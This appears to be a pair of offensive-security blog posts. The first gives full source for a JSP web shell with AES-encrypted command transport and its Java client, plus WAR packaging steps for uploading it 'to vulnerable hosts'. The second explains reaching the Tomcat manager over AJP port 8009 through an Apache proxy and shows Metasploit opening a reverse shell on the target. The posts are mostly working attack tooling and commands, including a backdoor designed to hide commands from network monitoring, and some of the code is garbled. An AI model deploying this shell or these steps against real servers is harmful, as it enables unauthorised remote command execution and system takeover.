Simple JSP shell, Simple os detection & prolly flawed encrypted commands

So I wanted a JSP shell which would make it a little bit harder to get the executed commands by sniffing the wire, here is a quick and dirty example of such a shell. I might improve it and also encrypt the server response and maybe implement some signed diffie-hellman to agree on the key to use for encryption. For the moment being this works just fine, as said this was a quick hack so dirty code all over the place.


  • Simple OS detection linux/windows, selects the correct underlying shell accordingly
  • Commands shouldn’t break when using pipes and it displays the error stream also(can be inconvenient)
  • Basic (possibly flawed) AES 128bit encryption of the commands you send
  • Option to work without encryption

Here is the JSP part:

Simple JSP shell, Simple os detection & prolly flawed encrypted commands
Borrowed and modified code from the following sources:
<%@page import="java.util.*,*,,,javax.crypto.Cipher,javax.crypto.SecretKey,javax.crypto.SecretKeyFactory,javax.crypto.spec.IvParameterSpec,javax.crypto.spec.PBEKeySpec,javax.crypto.spec.SecretKeySpec"%>
public byte[] hexStringToByteArray(String s) {
 int len = s.length();
 byte[] data = new byte[len / 2];
 for (int i = 0; i < len; i += 2) {
 data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
 + Character.digit(s.charAt(i+1), 16));
 return data;

public String cmdDecrypt(String cmd,String iv){
 char[] password = {'t','e','s','t'};
 byte[] salt = {'s','a','l','t','w','e','a','k'};
 SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
 KeySpec spec = new PBEKeySpec(password, salt, 1024, 128);
 SecretKey tmp = factory.generateSecret(spec);
 SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES");

 Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
 cipher.init(Cipher.DECRYPT_MODE, secret, new IvParameterSpec(hexStringToByteArray(iv)));
 String plaintext = new String(cipher.doFinal(hexStringToByteArray(cmd)));
 return plaintext;
 } catch(Exception e){
 return null;

String temp = request.getParameter("t");
String i = request.getParameter("i");
String ce = request.getParameter("e");
String cmd2exec = new String();
if(ce == null){
 cmd2exec = cmdDecrypt(temp,i);
 if( cmd2exec == null){
 cmd2exec = temp;
 String osName = System.getProperty("" );
 String[] cmd = new String[3];
 if( osName.toLowerCase().contains("windows"))
 cmd[0] = "cmd.exe" ;
 cmd[1] = "/C" ;
 cmd[2] = cmd2exec;
 else if( osName.toLowerCase().contains("linux"))
 cmd[0] = "/bin/bash" ;
 cmd[1] = "-c" ;
 cmd[2] = cmd2exec;
 cmd[0] = cmd2exec;

Runtime rt = Runtime.getRuntime();
 Process proc = rt.exec(cmd);
 InputStreamReader iser = new InputStreamReader(proc.getErrorStream());
 InputStreamReader isir = new InputStreamReader(proc.getInputStream());
 BufferedReader ber = new BufferedReader(iser);
 BufferedReader bir = new BufferedReader(isir);
 String errline=null;
 String inpline=null;

 while ( (inpline = bir.readLine()) != null)

 while ( (errline = ber.readLine()) != null)

 } catch (IOException ioe) {
 int exitVal = proc.waitFor();
 out.println("ExitValue: " + exitVal);
} catch (Exception e) {

The downside however is that you need some kind of client to send the commands to the shell, so here is the client part:


import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

 * Simple JSP shell, Simple os detection & prolly flawed encrypted commands
 * Author:
 * Borrowed and modified code from the following sources:
public class Main {
 * Turns array of bytes into string
 * @param buf Array of bytes to convert to hex string
 * @return Generated hex string
 public static String asHex(byte buf[]) {
 StringBuffer strbuf = new StringBuffer(buf.length * 2);
 int i;

for (i = 0; i < buf.length; i++) {
 if (((int) buf[i] & 0xff) < 0x10) {

strbuf.append(Long.toString((int) buf[i] & 0xff, 16));

return strbuf.toString();

public static void main(String[] args) {
 URL u;
 InputStream is = null;
 DataInputStream dis;
 String s;
 char[] password = {'t','e','s','t'};
 byte[] salt = {'s','a','l','t','w','e','a','k'};

 SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
 KeySpec spec = new PBEKeySpec(password, salt, 1024, 128);
 SecretKey tmp = factory.generateSecret(spec);
 SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES");

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
 cipher.init(Cipher.ENCRYPT_MODE, secret);
 AlgorithmParameters params = cipher.getParameters();
 byte[] iv = params.getParameterSpec(IvParameterSpec.class).getIV();
 System.out.println("pcmd:" + args[1]);
 byte[] ciphertext = cipher.doFinal(args[1].getBytes());
 System.out.println("iv:" + Main.asHex(iv));
 System.out.println("ecmd:" + Main.asHex(ciphertext));

 u = new URL(args[0] + "?t=" + Main.asHex(ciphertext) + "&i=" + Main.asHex(iv));
 is = u.openStream();
 dis = new DataInputStream(new BufferedInputStream(is));
 while ((s = dis.readLine()) != null) {

 }catch(Exception e){


To use the JSP you need to package it inside a WAR file before you can deploy it on a tomcat or jboss for example. Just create the following directory structure(assuming you put the shell inside “index.jsp”):

. js (you can choose another name)
.. index.jsp
… web.xml

Then just put the following bash code in a file and chmod +x it:

rm js.war
jar cvf js.war -C js .

That should create a js.war, in the same directory, that you can use to upload to vulnerable hosts. If you are paying attention you’ll be like “What goes inside the web.xml?”, put the following inside it:

<?xml version=”1.0″ encoding=”ISO-8859-1″?>

That’s all, the war file should deploy correctly and the client should be able to talk to it. If something fails you can always try to talk to it with your browser using unencrypted commands, just append the “e” parameter and assign something to it.

The client can be easily compiled, just put the code inside a file and then go like:


You can then use the client like:

java Main “cat /etc/passwd | grep -i root”

If all works out the output will be similar to this one:

java Main “cat /etc/passwd | grep -i root”
pcmd:cat /etc/passwd | grep -i root

ExitValue: 0

Don’t forget to change default passwords, salts, names and to review the code for possible bugs, if you are planning on using this for your own fun. Read the code if something doesn’t work and improve upon it :)

8009, the forgotten Tomcat port

We all know about exploiting Tomcat using WAR files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol:

What is JK (or AJP)?

AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

Also interesting:

The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles

It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.

(apache must already be installed)
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
	# Where to find
	# Update this path to match your conf directory location
	JkWorkersFile /etc/apache2/
	# Where to put jk logs
	# Update this path to match your logs directory location
	JkLogFile /var/log/apache2/mod_jk.log
	# Set the jk log level [debug/error/info]
	JkLogLevel info
	# Select the log format
	JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
	# JkOptions indicate to send SSL KEY SIZE,
	JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
	# JkRequestLogFormat set the request format
	JkRequestLogFormat "%w %V %T"
	# Shm log file
	JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/
	# Define 1 real worker named ajp13
	# Set properties for worker named ajp13 to use ajp13 protocol,
	# and run on port 8009
sudo vim /etc/apache2/sites-enabled/000-default 
    JkMount /* ajp13
    JkMount /manager/   ajp13
    JkMount /manager/*  ajp13
    JkMount /host-manager/   ajp13
    JkMount /host-manager/*  ajp13    
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

Don’t forget to adjust to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this.  Now you can just point your regular metasploit tomcat exploit to and take over that system. Here is the metasploit output also:

msf  exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  tomcat           no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST     localhost        yes       The target address
   RPORT     80               yes       The target port
   USERNAME  tomcat           no        The username to authenticate as
   VHOST                      no        HTTP server virtual host
Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic
msf  exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 1648 bytes as XWouWv7gyqklF.war ...
[*] Executing /XWouWv7gyqklF/TlYqV18SeuKgbYgmHxojQm2n.jsp...
[*] Sending stage (36 bytes) to
[*] Undeploying XWouWv7gyqklF ...
[*] Command shell session 1 opened ( ->

uid=115(tomcat6) gid=123(tomcat6) groups=123(tomcat6)